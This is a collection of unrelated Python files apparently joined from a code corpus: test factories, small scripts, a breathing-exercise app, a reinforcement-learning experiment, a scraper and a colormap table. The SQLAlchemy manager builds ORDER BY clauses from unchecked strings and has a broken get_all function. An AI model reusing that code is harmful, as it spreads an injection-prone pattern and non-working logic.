/></a><br />Este trabalho foi licenciado com uma Licença <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons - Atribuição - NãoComercial - CompartilhaIgual 3.0 Não Adaptada</a>.' class CollectionFactory(factory.Factory): FACTORY_FOR = models.Collection url = "http://www.scielo.br/" name = factory.Sequence(lambda n: "scielo%s" % n) address_number = "430" country = "Brasil" address = "Rua Machado Bittencourt" email = "[email protected]" name_slug = factory.Sequence(lambda n: "scl%s" % n) class JournalFactory(factory.Factory): FACTORY_FOR = models.Journal ctrl_vocabulary = "decs" frequency = "Q" scielo_issn = "print" print_issn = factory.Sequence(lambda n: "1234-%04d" % int(n)) eletronic_issn = factory.Sequence(lambda n: "4321-%04d" % int(n)) init_vol = "1" title = "ABCD. Arquivos Brasileiros de Cirurgia Digestiva (São Paulo)" title_iso = "ABCD. Arquivos B. de C. D. (São Paulo)" short_title = "ABCD.(São Paulo)" editorial_standard = "vancouv" secs_code = "6633" init_year = "1986" acronym = factory.Sequence(lambda n: "ABCD%s" % int(n)) pub_level = "CT" init_num = ("1",) subject_descriptors = """ MEDICINA CIRURGIA GASTROENTEROLOGIA GASTROENTEROLOGIA""".strip() publisher_name = "Colégio Brasileiro de Cirurgia Digestiva" publisher_country = "BR" publisher_state = "SP" publication_city = "São Paulo" editor_address = ( "Av. Brigadeiro Luiz Antonio, 278 - 6° - Salas 10 e 11, 01318-901 São Paulo/SP Brasil, Tel. = (11) 3288-8174/3289-0741" ) editor_email = "[email protected]" creator = factory.SubFactory(UserFactory) use_license = factory.SubFactory(UseLicenseFactory) class SectionFactory(factory.Factory): FACTORY_FOR = models.Section code = factory.Sequence(lambda n: "BJCE%s" % n) journal = factory.SubFactory(JournalFactory) class LanguageFactory(factory.Factory): FACTORY_FOR = models.Language iso_code = "pt" name = "portuguese" class IssueTitleFactory(factory.Factory): """ ``issue`` must be provided """ FACTORY_FOR = models.IssueTitle language = factory.SubFactory(LanguageFactory) title = "Bla" class IssueFactory(factory.Factory): FACTORY_FOR = models.Issue total_documents = 16 number = factory.Sequence(lambda n: "%s" % n) volume = factory.Sequence(lambda n: "%s" % n) is_trashed = False publication_start_month = 9 publication_end_month = 11 publication_year = 2012 is_marked_up = False suppl_text = "1" journal = factory.SubFactory(JournalFactory) @classmethod def _prepare(cls, create, **kwargs): section = SectionFactory() issue = super(IssueFactory, cls)._prepare(create, **kwargs) issue.section.add(section) return issue class UserProfileFactory(factory.Factory): FACTORY_FOR = models.UserProfile user = factory.SubFactory(UserFactory) email_notifications = True class SectionTitleFactory(factory.Factory): FACTORY_FOR = models.SectionTitle title = "Artigos Originais" language = factory.SubFactory(LanguageFactory) section = factory.SubFactory(SectionFactory) class RegularPressReleaseFactory(factory.Factory): FACTORY_FOR = models.RegularPressRelease issue = factory.SubFactory(IssueFactory) doi = factory.Sequence(lambda n: "http://dx.doi.org/10.4415/ANN_12_01_%s" % n) class AheadPressReleaseFactory(factory.Factory): FACTORY_FOR = models.AheadPressRelease journal = factory.SubFactory(JournalFactory) doi = factory.Sequence(lambda n: "http://dx.doi.org/10.4415/ANN_12_01_%s" % n) class PressReleaseTranslationFactory(factory.Factory): FACTORY_FOR = models.PressReleaseTranslation language = factory.SubFactory(LanguageFactory) press_release = factory.SubFactory(RegularPressReleaseFactory) title = "Yeah, this issue is amazing!" content = "Want to read more about..." class PressReleaseArticleFactory(factory.Factory): FACTORY_FOR = models.PressReleaseArticle press_release = factory.SubFactory(RegularPressReleaseFactory) article_pid = factory.Sequence(lambda n: "S0102-311X201300030000%s" % n) class ArticleFactory(factory.Factory): FACTORY_FOR = models.Article xml = SAMPLE_XML is_aop = False domain_key = factory.Sequence(lambda n: "revista-de-saude-publica_48_2_2014_216_a_224_none_none_%s" % n) journal_title = "Revista de Saúde Pública" issn_ppub = "0034-8910" issn_epub = "1518-8787" xml_version = "sps-1.2" article_type = "research-article" doi = "10.1590/S0034-8910.2014048004965" class ArticleAssetFactory(factory.Factory): FACTORY_FOR = models.ArticleAsset article = factory.SubFactory(ArticleFactory) file = File(SAMPLE_TIFF_IMAGE) owner = "SciELO" use_license = "Creative Commons - BY"
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81dfdf0479fc1f136fa5153840d8c7015f9db676
# required !!! # pip install selenium # pip install webdriver-manager from theMachine import loops # fill the number and message # you can fill the number with array phoneNumber = "fill the number" message = "fill with ur message" loop = 1 # this how many u want to loop loops(loop, phoneNumber, message) # input how many u want to loop
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24de4f486d4e976850e94a003f8d9cbe3e518402
a = input("Enter number") a = a.split() b = [] for x in a: b.append(int(x)) print(b) l = len(b) c = 0 s = 0 for i in range(l): s = len(b[:i]) for j in range(s): if b[s] < b[j]: c = b[s] b.pop(s) b.insert(b.index(b[j]), c) print(b, b[:i], b[s])
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a98be930058269a6adbc9a28d1c0ad5d9abba136
import sys import time import pymorphy2 import pyglet import pyttsx3 import threading import warnings import pytils warnings.filterwarnings("ignore") """ Количество раундов, вдохов в раунде, задержка дыхания на вдохе""" rounds, breaths, hold = 4, 30, 13 def play_wav(src): wav = pyglet.media.load(sys.path[0] + "\\src\\wav\\" + src + ".wav") wav.play() time.sleep(wav.duration) def play_wav_inline(src): wav = pyglet.media.load(sys.path[0] + "\\src\\wav\\" + src + ".wav") wav.play() def correct_numerals(phrase, morph=pymorphy2.MorphAnalyzer()): new_phrase = [] py_gen = 1 phrase = phrase.split(" ") while phrase: word = phrase.pop(-1) if "NUMB" in morph.parse(word)[0].tag: new_phrase.append(pytils.numeral.sum_string(int(word), py_gen)) else: new_phrase.append(word) py_gen = pytils.numeral.FEMALE if "femn" in morph.parse(word)[0].tag else pytils.numeral.MALE return " ".join(new_phrase[::-1]) def nums(phrase, morph=pymorphy2.MorphAnalyzer()): """согласование существительных с числительными, стоящими перед ними""" phrase = phrase.replace(" ", " ").replace(",", " ,") numeral = "" new_phrase = [] for word in phrase.split(" "): if "NUMB" in morph.parse(word)[0].tag: numeral = word if numeral: word = str(morph.parse(word)[0].make_agree_with_number(abs(int(numeral))).word) new_phrase.append(word) return " ".join(new_phrase).replace(" ,", ",") def speak(what): speech_voice = 3 # голосовой движок rate = 120 tts = pyttsx3.init() voices = tts.getProperty("voices") tts.setProperty("rate", rate) tts.setProperty("voice", voices[speech_voice].id) print("🔊", what) what = correct_numerals(what) tts.say(what) tts.runAndWait() # tts.stop() class Workout: def __init__(self, rounds=3, breaths=30, hold=15): self.rounds = rounds self.breaths = breaths self.hold = hold self.round_times = [] self.lock = threading.Lock() # взаимоблокировка отдельных голосовых потоков def __str__(self): return "\n♻{} 🗣{} ⏱{}".format(self.rounds, self.breaths, self.hold) def __hold_breath(self): start_time = time.time() input() seconds = int(time.time() - start_time) mins = seconds // 60 secs = seconds % 60 self.round_times.append("{:02}:{:02}".format(mins, secs)) play_wav_inline("inhale") self.say("Глубокий вдох. " + nums("{} минута {} секунда".format(mins, secs))) def __clock_tick(self): for i in range(self.hold): if i < hold - 3: time.sleep(1) else: play_wav("clock") play_wav_inline("gong2") def __breathe_round(self, round): self.say("Раунд " + str(round)) for i in range(self.breaths): if i % 10 == 0: play_wav_inline("gong") play_wav("inhale") print(i + 1, end=" ") play_wav("exhale") print() self.say("Задерживаем дыхание на выдохе") self.__hold_breath() # self.say('Держим ' + nums(str(self.hold) + ' секунда')) self.__clock_tick() play_wav_inline("exhale") self.say("Выдох") time.sleep(1) def breathe(self): self.say("Выполняем " + nums(str(self.rounds) + " раунд")) self.say("Каждый раунд это " + nums(str(self.breaths) + " глубокий вдох - и спокойный выдох")) self.say("Приготовились...") for i in range(self.rounds): self.__breathe_round(i + 1) self.say("Восстанавливаем дыхание.") def statistics(self): print("=============") for i in range(len(self.round_times)): print("Раунд", i, self.round_times[i]) print("=============") def say(self, what): self.lock.acquire() thread = threading.Thread(target=speak, kwargs={"what": what}) thread.start() thread.join() self.lock.release() workout = Workout(rounds, breaths, hold) workout.breathe() workout.statistics()
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4f0933c58aa1d41faf4f949d9684c04f9e01b473
from os.path import exists from_file = input("form_file") to_file = input("to_file") print(f"copying from {from_file} to {to_file}") indata = open(from_file).read() # 这种方式读取文件后无需close print(f"the input file is {len(indata)} bytes long") print(f"does the output file exist? {exists(to_file)}") print("return to continue, CTRL-C to abort") input("?") open(to_file, "w").write(indata) # 无需close print("done!")
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5c81ddbc8f5a162949a100dbef1c69551d9e267a
# -*- coding: utf-8 -*- from django.test import TestCase from django.contrib.auth.models import User from ..models import Todo class MyTestCase(TestCase): def test_mark_done(self): user = User.objects.create_user(email="user@…", username="user", password="somepasswd") todo = Todo(title="SomeTitle", description="SomeDescr", owner=user) res = todo.mark_done(user) self.assertTrue(res) self.assertEqual(Todo.objects.count(), 1) def test_mark_done_already_done(self): user = User.objects.create_user(email="user@…", username="user", password="somepasswd") todo = Todo(title="SomeTitle", description="SomeDescr", is_done=True, done_by=user, owner=user) res = todo.mark_done(user) self.assertIsNone(res) # todo not saved because mark_done don't save already done todos self.assertEqual(Todo.objects.count(), 0)
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509129052f97bb32b4ba0e71ecd7b1061d5f8da2
print(180 / 4)
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2c90c4e0b42a75d6d387b9b2d0118d8e991b5a08
import math import decimal from typing import Union, List, Set from sqlalchemy import text from .model import BaseMixin from ..core.db import db Orders = List[Set(str, Union(str, int, decimal.Decimal))] class BaseDBMgr: def get_page( self, cls_: BaseMixin, filters: set, orders: Orders = list(), field: tuple = (), page: int = 1, per_page: int = 10 ) -> dict: """获取分页数据 @param BaseMixin cls 数据库模型实体类 @param set filters 查询条件 @param str order 排序 @param tuple field 返回字段 @param int page 页码 @param int per_page 每页数据数量 @return dict """ res = { "page": { "current_page": page, "per_page": per_page, "total_page": 0, "count": 0, }, "items": [], } query = db.query(cls_).filter(*filters) if hasattr(cls_, "deleted_at"): query = query.filter(cls_.deleted_at == 0) res["page"]["count"] = query.count() res["page"]["total_page"] = math.ceil(res["page"]["count"] / per_page) for order in orders: field, sort = order sort = "desc" if sort not in ["asc", "desc"] else sort query = query.order_by(text(f"{field} {sort}")) data = query.offset((page - 1) * per_page).limit(per_page) if not field: res["items"] = [item.to_dict() for item in data] else: res["items"] = [item.to_dict(only=field) for item in data] return res def get_all(self, cls_: BaseMixin, filters: set, orders: Orders = list(), field: tuple = (), limit: int = 0) -> list: """获取所有满足条件的数据 @param BaseMixin cls 数据库模型实体类 @param set filters 查询条件 @param str order 排序 @param tuple field 返回字段 @param int limit 取数据最大数量 @return list """ query = db.query(cls_) if filters: query = query.filter(*filters) if hasattr(cls_, "deleted_at"): query = query.filter(cls_.deleted_at == 0) for order in orders: field, sort = order sort = "desc" if sort not in ["asc", "desc"] else sort query = query.order_by(text(f"{field} {sort}")) if limit != 0: query = query.limit(limit) query = query.all() if not field: items = [item.to_dict() for item in items] else: items = [item.to_dict(only=field) for item in items] return items def get_first(self, cls_: BaseMixin, filters: set, orders: Orders = list(), field: tuple = ()) -> dict: """获取所有满足条件的第一条数据 @param BaseMixin cls 数据库模型实体类 @param set filters 查询条件 @param str order 排序 @param tuple field 返回字段 @return dict """ items = self.get_all(cls_, filters, orders, field, limit=1) return items[0] if items else None def add(self, cls_: BaseMixin, data: dict) -> int: """插入一条数据 @param BaseMixin cls 数据库模型实体类 @param dict data 数据 @return int 插入数据的主键 """ item = cls_(**data) db.add(item) db.flush() return item.id def update(self, cls_: BaseMixin, data: dict, filters: set) -> int: """更新数据 @param BaseMixin cls 数据库模型实体类 @param dict data 数据 @param set filters 过滤条件 @return int 影响的行数 """ query = db.query(cls_).filter(*filters) if hasattr(cls_, "deleted_at"): query = query.filter(cls_.deleted_at == 0) return query.update(data, synchronize_session=False) def delete(self, cls_: BaseMixin, filters: set) -> int: """更新数据 @param BaseMixin cls 数据库模型实体类 @param set filters 过滤条件 @return int 影响的行数 """ query = db.query(cls_).filter(*filters) if hasattr(cls_, "deleted_at"): items = query.filter(cls_.deleted_at == 0).all() for item in items: item.delete() affect_rows = len(items) else: affect_rows = query.filter(*filters).delete(synchronize_session=False) db.commit() return affect_rows def count(self, cls_: BaseMixin, filters: set, field=None) -> int: """获取满足条件的总行数 @param BaseMixin cls 数据库模型实体类 @param set filters 过滤条件 @param string|None field 统计的字段 @return int """ query = db.query(cls_).filter(*filters) if hasattr(cls_, "deleted_at"): query = query.filter(cls_.deleted_at == 0) if field is None: return query.count() else: return query.count(field)
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cb2e800cc2802031847b170a462778e5c0b3c6f9
from math import * from numpy import * from random import * import numpy as np import matplotlib.pyplot as plt from colorama import Fore, Back, Style from gridworld import q_to_arrow N_ROWS = 6 N_COLUMNS = 10 class State(object): def __init__(self, i, j, is_cliff=False, is_goal=False): self.i = i self.j = j self.is_cliff = is_cliff self.is_goal = is_goal # north, east, south, west self.q_values = np.array([0.0, 0.0, 0.0, 0.0]) def __str__(self): return "({}, {})".format(self.i, self.j) def is_terminal(self): return self.is_goal or self.is_cliff def get_max_q_index(self): best_q_values = np.argwhere(self.q_values == np.max(self.q_values)) if len(best_q_values) > 1: return best_q_values[randint(0, len(best_q_values) - 1)][0] else: _max_q = np.argmax(self.q_values) return _max_q def get_max_q_value(self): return np.max(self.q_values) def initialize_states(): # This is the set of states, all initialised with default values states = [[State(j, i) for i in range(N_COLUMNS)] for j in range(N_ROWS)] # make the cliff for j in range(1, N_COLUMNS - 1): states[-1][j].is_cliff = True states[-1][-1].is_goal = True return states # The reward function defines what reward I get for transitioning between the first and second state def reward(s_1, s_2): if s_1.is_goal or s_1.is_cliff: return 0 elif s_2.is_goal: return 10 elif s_2.is_cliff: return -100 else: return -1 """ the transition function takes state and action and results in a new state, depending on their attributes. The method takes the whole state-space as an argument (since the transition depends on the attributes of the states in the state-space), which could for example be the "states" matrix from above, the current state s from the state-space (with its attributes), and the current action, which takes the form of a "difference vector. For example, dx = 0, dy = 1 means: Move to the south. dx = -1, dy = 0 means: Move to the left""" def transition(stsp, s, di, dj): if s.is_cliff or s.is_goal: return s elif s.j + dj not in range(N_COLUMNS) or s.i + di not in range(N_ROWS): return s else: return stsp[s.i + di][s.j + dj] gamma = 1 learning_rate = 0.01 def action_to_diff_vector(action): if action == 0: # NORTH return -1, 0 elif action == 1: # EAST return 0, 1 elif action == 2: # SOUTH return 1, 0 elif action == 3: # WEST return 0, -1 def action_to_verbose(action): if action == 0: return "NORTH" elif action == 1: return "EAST" elif action == 2: return "SOUTH" elif action == 3: return "WEST" def sarsa(state, next_state, action, next_state_action): return reward(state, next_state), state.q_values[action] + learning_rate * ( reward(state, next_state) + gamma * next_state.q_values[next_state_action] - state.q_values[action] ) def q_learning(state, next_state, action, next_state_action): next_state_q_value = next_state.get_max_q_value() return reward(state, next_state), state.q_values[action] + learning_rate * ( reward(state, next_state) + gamma * next_state_q_value - state.q_values[action] ) N_STEPS = 10000 METHOD = "BOTH" EPSILONS = [0.05, 0.1, 0.25] def run_code(use_q_learning=False, _epsilon=0.01): states = initialize_states() decay = 1 min_epsilon = 0.00001 epsilon = _epsilon episode_rewards = [] mistakes_array = [] # array which tracks error from convergence on each step for i in range(N_STEPS): # select a random starting state current_state = states[N_ROWS - 1][0] # iterate until reaching a terminal state epsilon = max(min_epsilon, epsilon * decay) episode_reward = 0 while not current_state.is_terminal(): if random() < epsilon: next_action = randint(0, 3) else: next_action = current_state.get_max_q_index() di, dj = action_to_diff_vector(next_action) next_state = transition(states, current_state, di, dj) if random() < epsilon: next_state_action = randint(0, 3) else: next_state_action = next_state.get_max_q_index() if use_q_learning: reward, current_state.q_values[next_action] = q_learning( current_state, next_state, next_action, next_state_action ) else: reward, current_state.q_values[next_action] = sarsa(current_state, next_state, next_action, next_state_action) # print(current_state, next_state, action_to_verbose(next_action), di, dj) episode_reward += reward current_state = next_state if len(episode_rewards): episode_rewards.append(episode_rewards[-1] + episode_reward) else: episode_rewards.append(episode_reward) """ if (i % 100 == 0): print(i) """ mistakes_array.append(check_accuracy(states)) return np.array(mistakes_array), states, episode_rewards def check_accuracy(states): correct_result = np.array( [ [-3, -2, -1, 0, 1, 2, 3, 4, 5, 6], [-2, -1, 0, 1, 2, 3, 4, 5, 6, 7], [-1, 0, 1, 2, 3, 4, 5, 6, 7, 8], [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], ] ) mistakes_delta = 0 for i in range(N_ROWS): for j in range(N_COLUMNS): mistakes_delta += abs(correct_result[i][j] - max(states[i][j].q_values)) return mistakes_delta def plot_errors(mistakes_sarsa, mistakes_q_learning): plt.gca().invert_yaxis() legend = [] for mistake_sarsa in mistakes_sarsa: plt.plot(mistake_sarsa[1]) legend.append(r"SARSA $\epsilon={}$".format(mistake_sarsa[0])) for mistake_q_learning in mistakes_q_learning: plt.plot(mistake_q_learning[1]) legend.append(r"Q-learning $\epsilon={}$".format(mistake_q_learning[0])) plt.grid(which="y") plt.legend(legend) plt.savefig("CLIFF_SARSA_VS_Q_LEARNING_{}.png".format(N_STEPS)) # plt.show() def plot_best_q_values_states(states, method, epsilon, PLOTS, fig, ax): final_grid = np.array([[max(states[i][j].q_values) for j in range(N_COLUMNS)] for i in range(N_ROWS)]) if PLOTS > 2: ax = ax[PLOTS % 3, 1] else: ax = ax[PLOTS, 0] ax.imshow(final_grid, aspect="auto", cmap="coolwarm") # fig, ax = plt.subplots() ax.set_xticks(np.arange(N_COLUMNS)) ax.set_yticks(np.arange(N_ROWS)) ax.set_xticklabels([i for i in range(N_COLUMNS)]) ax.set_yticklabels([i for i in range(N_ROWS)]) plt.setp(ax.get_xticklabels(), rotation=45, ha="right", rotation_mode="anchor") # Loop over data dimensions and create text annotations. for i in range(N_ROWS): for j in range(N_COLUMNS): text = ax.text(j, i, "{:.2f}".format(max(states[i][j].q_values)), ha="center", va="center", color="w") fig.tight_layout() ax.set_title("{}; $\epsilon={}$".format(method, epsilon)) for i in range(N_ROWS): str_ = "" for j in range(N_COLUMNS): str_ += str(int(final_grid[i][j])) + ", " PLOTS += 1 # plt.savefig('CLIFF_WALKING: {}-{}-{}.png'.format(N_STEPS, epsilon, method)) # plt.show() def display_optimal_policy(states, method, epsilon): print("{}; ε = {}".format(method, epsilon)) print("-" * 60) for i in range(len(states)): line_str = "" for j in range(len(states[0])): if j == 0: print("|", end="") if states[i][j].is_goal: print(Back.GREEN + " ", end="") print(Style.RESET_ALL + " | ", end="") elif states[i][j].is_cliff: print(Back.RED + " ", end="") print(Style.RESET_ALL + " | ", end="") else: print(" {} | ".format(q_to_arrow(states[i][j].get_max_q_index())), end="") print(line_str) print("-" * 60) if METHOD not in ["Q_LEARNING", "SARSA", "BOTH"]: print("invalidt method. must be Q_LEARNING or SARSA or both") import sys sys.exit() mistakes_q_learning = [] mistakes_sarsa = [] PLOTS = 0 fig, axes = plt.subplots(3, 2) rewards = [] for epsilon in EPSILONS: if METHOD == "Q_LEARNING" or METHOD == "BOTH": _mistakes_q_learning, end_states_q_learning, episode_rewards = run_code(use_q_learning=True, _epsilon=epsilon) plot_best_q_values_states(end_states_q_learning, "Q_LEARNING", epsilon, PLOTS, fig, axes) display_optimal_policy(end_states_q_learning, "Q LEARNING", epsilon) mistakes_q_learning.append((epsilon, _mistakes_q_learning)) rewards.append(("Q_LEARNING", epsilon, episode_rewards)) PLOTS += 1 for epsilon in EPSILONS: if METHOD == "SARSA" or METHOD == "BOTH": _mistakes_sarsa, end_states_sarsa, episode_rewards = run_code(use_q_learning=False, _epsilon=epsilon) plot_best_q_values_states(end_states_sarsa, "SARSA", epsilon, PLOTS, fig, axes) display_optimal_policy(end_states_sarsa, "SARSA", epsilon) mistakes_sarsa.append((epsilon, _mistakes_sarsa)) rewards.append(("SARSA", epsilon, episode_rewards)) PLOTS += 1 plt.savefig("all_runs.png") plt.show() # for i, j in [(0, 3), (1, 4), (2, 5)]: for reward in rewards: # plt.plot(rewards[i][2], 'o', label='{} ε = {} '.format(rewards[i][0], rewards[i][1])) # plt.plot(rewards[j][2], 'o', label='{} ε = {} '.format(rewards[j][0], rewards[j][1])) plt.plot(reward[2], label="{} ε = {} ".format(reward[0], reward[1])) plt.xlabel("Episodes") plt.ylabel("Sum of rewards during episode") plt.legend() plt.show() plt.savefig("episode_rewards.png") plot_errors(mistakes_sarsa, mistakes_q_learning)
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52da8608e43b2d8dfe00f0956a1187fcf2e7b1ff
# Generated by Django 2.2.6 on 2020-05-21 09:44 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("DHOPD", "0015_auto_20200515_0126"), ] operations = [ migrations.CreateModel( name="Patient_c", fields=[ ("patient_id", models.AutoField(max_length=200, primary_key=True, serialize=False)), ("patient_fname", models.CharField(max_length=200)), ("patient_mname", models.CharField(max_length=200)), ("patient_lname", models.CharField(max_length=200)), ("patient_title", models.CharField(max_length=20)), ("patient_address", models.CharField(max_length=500)), ("patient_town", models.CharField(max_length=200)), ("patient_phone", models.CharField(max_length=15)), ("patient_services", models.CharField(max_length=500)), ("patient_status", models.CharField(max_length=2)), ("patient_cost", models.CharField(max_length=100)), ("patient_date", models.DateField(default=datetime.date.today)), ("patient_time", models.TimeField(auto_now_add=True)), ("patient_comment", models.CharField(max_length=200)), ], ), migrations.CreateModel( name="Receipt_c", fields=[ ("receipt_id", models.AutoField(max_length=200, primary_key=True, serialize=False)), ("receipt_patient", models.CharField(max_length=200)), ("receipt_cost", models.CharField(max_length=200)), ("receipt_time", models.TimeField(auto_now=True)), ("receipt_status", models.CharField(default="-1", max_length=10)), ], ), ]
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1084478226777b9259274e053984ac34d461198d
from .ast import * # noinspection PyPep8Naming def addToClass(cls): def decorator(func): setattr(cls, func.__name__, func) return func return decorator def print_intended(to_print, intend): print(intend * "| " + to_print) # noinspection PyPep8Naming,PyUnresolvedReferences class TreePrinter: # General @addToClass(Node) def printTree(self, indent=0): raise Exception("printTree not defined in class " + self.__class__.__name__) @addToClass(Instruction) def printTree(self, indent=0): print_intended(self.type, indent) @addToClass(Expression) def printTree(self, indent=0): print_intended(self.type, indent) # Instructions @addToClass(Block) def printTree(self, indent=0): print_intended(self.type, indent) if self.instructions is not None: self.instructions.printTree(indent + 1) @addToClass(Assignment) def printTree(self, indent=0): print_intended(self.operator, indent) self.left.printTree(indent + 1) self.right.printTree(indent + 1) @addToClass(For) def printTree(self, indent=0): print_intended(self.type, indent) self.variable.printTree(indent + 1) self.range.printTree(indent + 1) self.instruction.printTree(indent + 1) @addToClass(While) def printTree(self, indent=0): print_intended(self.type, indent) self.condition.printTree(indent + 1) self.instruction.printTree(indent + 1) @addToClass(If) def printTree(self, indent=0): print_intended(self.type, indent) self.condition.printTree(indent + 1) print_intended("then", indent) self.if_block.printTree(indent + 1) if self.else_block is not None: print_intended("else", indent) self.else_block.printTree(indent + 1) @addToClass(Print) def printTree(self, indent=0): print_intended(self.type, indent) self.args.printTree(indent + 1) @addToClass(Return) def printTree(self, indent=0): print_intended(self.type, indent) if self.args is not None: self.args.printTree(indent + 1) @addToClass(ArrayElement) def printTree(self, indent=0): print_intended("get_element", indent) self.array.printTree(indent + 1) self.ids.printTree(indent + 1) # Expressions @addToClass(Value) def printTree(self, indent=0): print_intended(str(self.value), indent) @addToClass(Array) def printTree(self, indent=0): if self.list is not None: print_intended("array", indent) self.list.printTree(indent + 1) else: print_intended("empty_array", indent) @addToClass(BinaryExpression) def printTree(self, indent=0): print_intended(self.operator, indent) self.left.printTree(indent + 1) self.right.printTree(indent + 1) @addToClass(MatrixFunction) def printTree(self, indent=0): print_intended(self.function, indent) self.parameter.printTree(indent + 1) @addToClass(UnaryMinus) def printTree(self, indent=0): print_intended("-", indent) self.value.printTree(indent + 1) @addToClass(Transpose) def printTree(self, indent=0): print_intended(self.type, indent) self.value.printTree(indent + 1) # Other @addToClass(Program) def printTree(self, indent=0): print_intended(self.type, indent) self.instructions_opt.printTree(indent + 1) @addToClass(Identifier) def printTree(self, indent=0): print_intended(self.name, indent) @addToClass(Range) def printTree(self, indent=0): print_intended(self.type, indent) self.start_value.printTree(indent + 1) self.end_value.printTree(indent + 1) @addToClass(List) def printTree(self, indent=0): for element in self.elements: element.printTree(indent)
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999de0965efa3c1fe021142a105dcf28184cd5ba
import dnf_converter def parse(query): print("parsing the query...") query = dnf_converter.convert(query) cp_clause_list = [] clause_list = [] for cp in query["$or"]: clauses = [] if "$and" in cp: for clause in cp["$and"]: clauses.append(clause) clause_list.append(clause) else: clause = cp clauses.append(clause) clause_list.append(clause) cp_clause_list.append({"cp": cp, "clauses": clauses}) return cp_clause_list, clause_list
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cb08f64d1ad7e53f1041684d4ca4ef65036c138d
import json import re from bs4 import BeautifulSoup from bs4.element import NavigableString, Tag from common import dir_path def is_element(el, tag): return isinstance(el, Tag) and el.name == tag class ElemIterator: def __init__(self, els): self.els = els self.i = 0 def peek(self): try: return self.els[self.i] except IndexError: return None def __next__(self): self.i += 1 return self.els[self.i - 1] def hasNext(self): return len(self.els) > (self.i) def peek_till(self, tag): while not is_element(self.peek(), tag): self.__next__() def next_till(self, tag): self.peek_till(tag) self.__next__() def parse_lines(iter_): iter_.peek_till("strong") county = [] while iter_.hasNext(): county += [iter_.__next__()] if is_element(iter_.peek(), "strong"): yield ElemIterator(county) county = [] yield ElemIterator(county) county = [] def parse_emails_url(iter_): emails = [] url = None try: while True: iter_.peek_till("a") email = iter_.__next__() href = email["href"] if href.startswith("mailto:"): if href[7:]: emails += [href[7:]] else: emails += [email.text] else: url = href except IndexError: pass return emails, url def parse_url(iter_): iter_.peek_till("a") link = iter_.__next__() href = link["href"] assert not href.startswith("mailto:") return [href] def parse_county(iter_): county_title = iter_.__next__().text.strip().title() locale = re.match("(.*) (City|County)", county_title).group(0) if county_title.startswith("Clark County Elections Mailing Address"): emails, url = parse_emails_url(iter_) return { "locale": locale, "county": locale, "emails": emails, } while True: el = iter_.__next__() if isinstance(el, NavigableString): if "Clerk" in el or "Registrar" in el: official = el.strip().split(",")[0] break address = [] while True: el = iter_.__next__() if isinstance(el, NavigableString): address += [el.strip()] if re.search(r"Nevada \d{5}", el) or re.search(r"NV \d{5}", el): break el = iter_.__next__() el = iter_.__next__() if isinstance(el, NavigableString): el = el.replace("\xa0", " ") # replace non-breaking space matches1 = re.search(r"(\(\d{3}\) \d{3}-\d{4}) FAX (\(\d{3}\) \d{3}-\d{4})", el) matches2 = re.search(r"(\(\d{3}\) \d{3}-VOTE \(\d{4}\)) FAX (\(\d{3}\) \d{3}-\d{4})", el) if matches1: phone = matches1.group(1) fax = matches1.group(2) elif matches2: phone = matches2.group(1) fax = matches2.group(2) else: print(county_title) print(el) print(re.search(r"(\(\d{3}\) \d{3}-\d{4}) FAX", el)) assert False emails, url = parse_emails_url(iter_) init = {"city": locale} if locale.endswith("City") else {"county": locale} return { **init, "locale": locale, "official": official, "address": ", ".join(address), "emails": list(set(emails)), "phones": [phone], "faxes": [fax], "url": url, } def main(): # Actually this file: https://www.nvsos.gov/sos/elections/voters/county-clerk-contact-information # But it's behind a javascript test with open(dir_path(__file__) + "/cache/Nevada.htm") as fh: page = fh.read() soup = BeautifulSoup(page, "lxml") ps = soup.select("div.content_area > p") iter_ = ElemIterator([x for p in ps for x in p.children]) raw_counties = [parse_county(county) for county in parse_lines(iter_)] merge_counties = {} for county in raw_counties: locale = county["locale"] if locale in merge_counties: merge_counties[locale]["emails"] += county["emails"] else: merge_counties[locale] = county counties = list(merge_counties.values()) assert len(counties) == len(raw_counties) - 1 with open("public/nevada.json", "w") as fh: json.dump(counties, fh) if __name__ == "__main__": main()
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5082182af5a08970568dc1ab7a53ee5337260687
# # romaO # www.fabiocrameri.ch/colourmaps from matplotlib.colors import LinearSegmentedColormap cm_data = [ [0.45137, 0.22346, 0.34187], [0.45418, 0.22244, 0.3361], [0.45696, 0.22158, 0.33043], [0.45975, 0.2209, 0.32483], [0.46251, 0.22035, 0.31935], [0.46527, 0.21994, 0.31394], [0.46803, 0.21968, 0.30862], [0.47078, 0.21958, 0.30337], [0.47352, 0.21962, 0.29822], [0.47628, 0.21982, 0.29316], [0.47902, 0.22017, 0.28818], [0.48178, 0.22067, 0.2833], [0.48453, 0.2213, 0.2785], [0.48731, 0.22208, 0.27379], [0.49008, 0.22304, 0.26917], [0.49286, 0.22411, 0.26461], [0.49567, 0.22536, 0.26016], [0.4985, 0.22677, 0.25579], [0.50134, 0.22833, 0.25153], [0.50419, 0.22999, 0.24733], [0.50707, 0.23188, 0.24322], [0.50997, 0.23387, 0.23923], [0.5129, 0.23605, 0.23533], [0.51584, 0.23835, 0.23151], [0.51884, 0.24082, 0.22779], [0.52184, 0.24345, 0.22414], [0.52489, 0.24625, 0.22065], [0.52797, 0.2492, 0.2172], [0.53108, 0.25231, 0.21387], [0.53423, 0.25556, 0.21064], [0.53742, 0.25899, 0.20753], [0.54063, 0.26255, 0.20452], [0.54389, 0.26628, 0.20158], [0.54718, 0.27017, 0.19879], [0.55051, 0.27419, 0.19613], [0.55389, 0.27839, 0.19356], [0.55731, 0.28273, 0.19109], [0.56075, 0.2872, 0.18877], [0.56424, 0.29186, 0.18655], [0.56777, 0.29665, 0.18446], [0.57134, 0.30157, 0.18248], [0.57495, 0.30666, 0.18065], [0.5786, 0.31186, 0.17898], [0.58228, 0.31724, 0.17743], [0.58602, 0.32275, 0.17597], [0.58977, 0.32838, 0.17473], [0.59358, 0.33415, 0.17358], [0.59742, 0.34005, 0.17261], [0.60129, 0.34606, 0.17179], [0.60519, 0.35223, 0.17114], [0.60915, 0.35851, 0.17065], [0.61311, 0.36491, 0.17034], [0.61713, 0.37143, 0.1702], [0.62118, 0.37808, 0.17023], [0.62526, 0.38483, 0.17046], [0.62937, 0.39171, 0.17087], [0.63352, 0.39869, 0.17148], [0.63769, 0.40579, 0.17229], [0.6419, 0.41299, 0.17332], [0.64613, 0.42029, 0.17458], 